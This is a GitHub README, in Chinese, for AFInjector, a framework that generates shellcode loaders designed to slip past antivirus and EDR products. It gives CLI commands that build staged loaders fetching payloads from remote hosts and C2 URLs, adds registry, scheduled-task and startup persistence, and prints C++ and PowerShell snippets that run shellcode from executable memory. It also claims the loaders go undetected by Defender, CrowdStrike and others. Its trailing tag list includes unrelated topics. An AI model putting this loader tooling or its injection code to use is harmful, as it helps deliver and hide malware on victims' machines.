Excalibra/AFInjector

GitHub: Excalibra/AFInjector

一款集成多种注入技术和规避手段的 shellcode 加载器生成框架,旨在帮助红队在 AV/EDR 环境下隐蔽投递 payload。

Stars: 22 | Forks: 2

AnneFrankInjector Banner
GUI Preview 1
## 📖 目录 - [目标](#goal) - [功能](#features) - [安装](#installation) - [使用方法](#usage) - [图形界面 (GUI)](#graphical-interface-gui) - [命令行界面 (CLI)](#command-line-interface-cli) - [示例](#examples) - [输出格式](#output-formats) - [待办事项](#to-do) - [检测情况](#detections) - [致谢](#credits) ## 🎯 目标 AnneFrankInjector 是一款现代的 shellcode 加载器,专为 CTF、红队演练和认证考试期间的 **AV/EDR 规避** 而设计。它结合了多种注入技术、加密和混淆手段,帮助你的 payload 保持隐蔽——直到某个爱管闲事的邻居 (Defender) 把它供出来。 ## ✨ 功能 - **无阶段 (Stageless)** – 将 shellcode 直接嵌入到加载器中。 - **分阶段 (Staged)** – 通过 HTTP 获取 shellcode(动态加密)。 - **规避技术**: - 间接系统调用 (Indirect syscalls, Syswhispers) - API 哈希 (Djb2) - NTDLL 脱钩 (KnownDLLs) - AES‑128‑CBC 加密 - EarlyBird APC 注入到任何目标进程(可自定义) - **派生注入 (Spawn injection)** – 创建一个新进程(例如,notepad.exe)并在其中注入(规避基于进程的检测) - **注入前延迟** – 等待可配置的秒数,以绕过具有短超时机制的沙箱 - 函数/变量名混淆 (`-s`) - **持久化**(可选): - 注册表 Run 键 (`reg`) - 计划任务 (`task`) - 启动文件夹 (`startup`) - **高级模式**: - **交错持久化 (Staggered persistence)** – 两阶段执行 - **反射模式** – 无文件(磁盘上没有 EXE) - **LNK stager** – 生成基于 PowerShell 的快捷方式用于初始访问 - **输出格式**:EXE、DLL 或原始 shellcode (.bin)。 - **代码签名** – 可选使用 PFX 证书。 - **图形界面** – 通过用户友好的 `tkinter` GUI 提供所有选项。 - **内置 Base64 编码器** (UTF-16LE) – 轻松编码用于 `-EncodedCommand` 的 PowerShell 命令。 ### 架构 该框架包括: - **核心加载引擎**:具有动态 API 解析的位置无关 shellcode - **规避层**:多层反分析技术 - **注入模块**:支持 APC、spawn 和 EnumWindows 注入 - **持久化框架**:注册表、计划任务和启动文件夹持久化 - **配置接口**:GUI 和 CLI 接口,提供操作灵活性 ## 功能 ### 核心能力 - **无阶段 Payload**:将 shellcode 直接嵌入可执行文件 - **分阶段 Payload**:基于 HTTP 的加密 payload 获取 - **多种输出格式**:EXE、DLL 和原始 shellcode (.bin) ### 规避技术 - **间接系统调用**:SysWhispers3 实现,用于 syscall 混淆 - **API 哈希**:Djb2 算法用于动态 API 解析 - **NTDLL 脱钩**:基于 KnownDLLs 的内存还原 - **AES-128-CBC 加密**:使用可配置密钥进行 payload 加密 - **反沙箱机制**:可配置的延迟和计算密集型操作 - **函数名混淆**:编译时的标识符混淆 ### 注入方法 - **APC 注入**:具有可自定义目标进程的 EarlyBird 技术 - **派生注入**:进程创建与注入(规避基于进程的检测) - **EnumWindows 注入**:基于窗口枚举的 payload 投递 - **自定义进程定位**:支持任何可执行进程 ### 持久化选项 - **注册表持久化**:Run 键值操纵以实现长期访问 - **计划任务**:利用系统权限进行基于时间的执行 - **启动文件夹**:通过启动程序实现用户级持久化 - **交错持久化**:用于保障操作安全的多阶段执行 ### 高级功能 - **反射加载**:无磁盘痕迹的无文件执行 - **LNK Stager 生成**:基于 PowerShell 的初始访问向量 - **代码签名**:可选的 PFX 证书集成 - **Base64 编码**:用于 PowerShell 操作的 UTF-16LE 编码 - **原始 Shellcode 输出**:位置无关的二进制文件生成 ## 安装 ### 系统要求 - **Python 3.8+** 及 pip 包管理器 - **MinGW-w64** 交叉编译器,用于生成 Windows 可执行文件 - **NASM** 汇编器,用于汇编代码编译 - **osslsigncode**(可选,用于代码签名) ### Linux 安装(基于 Kali/Debian) ``` # 更新软件包仓库 sudo apt update # 安装所需依赖 sudo apt install clang mingw-w64 nasm lld osslsigncode # 克隆仓库 git clone https://github.com/Excalibra/AFInjector.git cd AFInjector # 创建并激活虚拟环境 python3 -m venv env source env/bin/activate # 安装 Python 依赖 pip install -r Linux/requirements.txt # 启动 GUI 界面 python af.py # CLI 使用 cd Linux python main.py -h ``` ### Windows 安装 ``` # 从 https://www.msys2.org/ 安装 MSYS2 # 在 MSYS2 终端中: pacman -Syu pacman -S mingw-w64-x86_64-clang make nasm # 克隆仓库 git clone https://github.com/Excalibra/AFInjector.git cd AFInjector # 创建并激活虚拟环境 python -m venv env env\Scripts\activate # 安装 Python 依赖 pip install -r Windows\requirements.txt # 启动 GUI 界面 python af.py # CLI 使用 cd Windows python main.py -h ``` ### 全局安装(可选) ``` # 安装系统级 CLI 工具 pipx install . ``` ## 使用方法 ### 图形界面 GUI 提供了对所有 AFInjector 功能的全面访问: ``` python af.py ``` **界面功能:** - Shellcode 文件选择(.bin 格式) - 无阶段(嵌入式)或分阶段(HTTP)payload 投递 - 输出格式选择(EXE、DLL、BIN) - 规避配置(加密、混淆、延迟) - 注入方法选择(APC、spawn、EnumWindows) - 持久化选项(注册表、计划任务、启动项) - 高级模式(反射、LNK stager) - 代码签名集成 - 实时加载器生成
GUI Interface
Advanced Options
**附加工具:** - 用于 PowerShell 操作的 Base64 编码器 (UTF-16LE) - 配置验证和测试工具 ### 命令行界面 #### 无阶段 Payload 生成 ``` # 基础 stageless loader afpacker stageless -p payload.bin -e -s -o myloader # 高级配置 afpacker stageless -p payload.bin -e -s --delay 5 --spawn --spawn-path "C:\\Windows\\System32\\notepad.exe" --persistence reg --staggered --reflective -o myloader ``` #### 分阶段 Payload 生成 ``` # 基于 HTTP 的 staged loader afpacker staged -p payload.bin -i 192.168.1.10 -po 8080 -pa /shellcode.bin -e -s -o myloader # 带有额外规避 afpacker staged -p payload.bin -i 192.168.1.10 -po 8080 -pa /shellcode.bin -e -s --delay 10 --spawn -o myloader ``` #### 命令参数 | 参数 | 描述 | 默认值 | |-----------|-------------|---------| | `-p` | Shellcode 文件路径 | 必填 | | `-e` | 启用 AES 加密 | 禁用 | | `-s` | 启用函数混淆 | 禁用 | | `-o` | 输出文件名 | `afloader` | | `-f` | 输出格式 (EXE/DLL/BIN) | EXE | | `--delay` | 注入前延迟(秒) | 0 | | `--spawn` | 使用 spawn 注入 | 禁用 | | `--spawn-path` | spawn 的目标进程 | `notepad.exe` | | `--persistence` | 持久化方法 | 无 | | `--staggered` | 启用交错持久化 | 禁用 | | `--reflective` | 启用反射加载 | 禁用 | | `--lnk-stager` | 生成 LNK stager | 禁用 | | `--c2-url` | C2 服务器 URL | 无 | ## 示例 ### 基本使用场景 ``` # 带有 5 秒延迟的加密 EXE afpacker stageless -p calc.bin -e -s --delay 5 # 带有注册表持久化的 Spawn injection afpacker stageless -p beacon.bin -e -s --spawn --spawn-path "C:\\Windows\\System32\\notepad.exe" --delay 10 --persistence reg -o beacon # 带有启动项持久化的 Staged DLL afpacker staged -p beacon.bin -i 10.0.0.5 -po 80 -pa /payload.bin -f DLL -o beacon --persistence startup # 带有 LNK stager 的 reflective loader afpacker stageless -p shellcode.bin -e -s --reflective --lnk-stager --c2-url "http://192.168.1.100/loader.ps1" # 原始 shellcode 生成 afpacker stageless -p payload.bin -f BIN -e -s --delay 5 -o raw_shellcode ``` ### 高级配置 ``` # 多重规避配置 afpacker stageless -p advanced.bin -e -s --delay 15 --spawn --persistence reg --staggered --reflective -o advanced # 自定义进程目标 afpacker stageless -p custom.bin -e -s --apc explorer.exe --delay 8 -o custom # 代码签名集成 afpacker stageless -p signed.bin -e -s -pfx cert.pfx -pfx-pass password -o signed ``` ## 输出格式 ### EXE 格式 - 标准 Windows 可执行文件 - 支持所有注入方法 - 兼容直接执行 ### DLL 格式 - 带有导出函数 `af` 的动态链接库 - 通过 `rundll32.exe afloader.dll,af` 执行 - 适用于 DLL 劫持场景 ### BIN 格式 - 原始的位置无关 shellcode - 具备直接内存注入能力 - 无 PE 头或依赖项 - 最适合无文件操作 #### 原始 Shellcode 用法 ``` // C++ injection example HANDLE hFile = CreateFileA("shellcode.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DWORD size = GetFileSize(hFile, NULL); LPVOID shellcode = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); DWORD bytesRead; ReadFile(hFile, shellcode, size, &bytesRead, NULL); CloseHandle(hFile); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, NULL); ``` ``` # PowerShell injection 示例 $shellcode = [System.IO.File]::ReadAllBytes("shellcode.bin") $memory = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $memory, $shellcode.Length) $thread = [System.Threading.Thread]::new([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memory, [System.Action])) $thread.Start() ``` ## 检测与规避 ### 当前规避有效性 | 安全解决方案 | 状态 | 备注 | |-------------------|--------|-------| | Windows 11 Defender | 未检测到 | 启用延迟 + spawn 注入时 | | Windows 10 Defender | 未检测到 | 所有规避技术激活时 | | Sophos Endpoint | 未检测到 | 动态 API 解析有效 | | Kaspersky Endpoint | 未检测到 | 反沙箱机制成功 | | CrowdStrike Falcon | 未检测到 | 位置无关执行 | ### 规避方法论 1. **静态分析规避** - 函数名混淆 - API 哈希和动态解析 - PE 头混淆 2. **动态分析规避** - 反沙箱延迟 - 计算密集型操作 - 环境检测 3. **基于内存的规避** - NTDLL 脱钩 - 间接系统调用 - 反射加载 4. **基于网络的规避** - 加密 payload 投递 - 分阶段执行 - 自定义 C2 通信 ## 📌 待办事项 - [x] 注入前延迟 - [x] Spawn 注入(新进程) - [x] 自定义 APC 目标(任何进程名) - [x] 持久化(注册表、计划任务、启动项) - [x] 交错持久化 - [x] 反射模式(无文件) - [x] LNK stager (PowerShell) - [x] 内置 Base64 编码器 - [x] 原始 shellcode 输出 (.bin) - [ ] AMSI / ETW 绕过 - [ ] 更多注入技术(例如,EnumWindows) ## 🛡 检测情况 - 在最新的 Windows 11 Defender 上未检测到(启用延迟 + spawn 注入时) - 在 Windows 10 Defender 上未检测到 - 在 Sophos、Kaspersky 等上未检测到 ## 🙏 致谢 大部分代码并非出自本人。以下是原作者(现已在新项目中得到妥善致谢): ``` @ Excalibra - Main developer, attic architect, and professional snitch-hater @ Maldevacademy - https://maldevacademy.com @ SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection @ VX-Underground - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp @ klezVirus - https://github.com/klezVirus/SysWhispers3 ```

Excalibra 用 ☕ 和 🧩 制作

标签:AES加密, API哈希, AV/EDR绕过, Chrome扩展, C#开发, DNS 反向解析, EarlyBird APC注入, GUI工具, Linux安全, NTDLL脱钩, OpenCanary, SSH蜜罐, 中高交互蜜罐, 反弹Shell, 客户端加密, 恶意软件开发, 搜索语句(dork), 数据展示, 无文件执行, 红队, 网络信息收集, 网络安全, 进程注入, 逆向工具, 间接系统调用, 隐私保护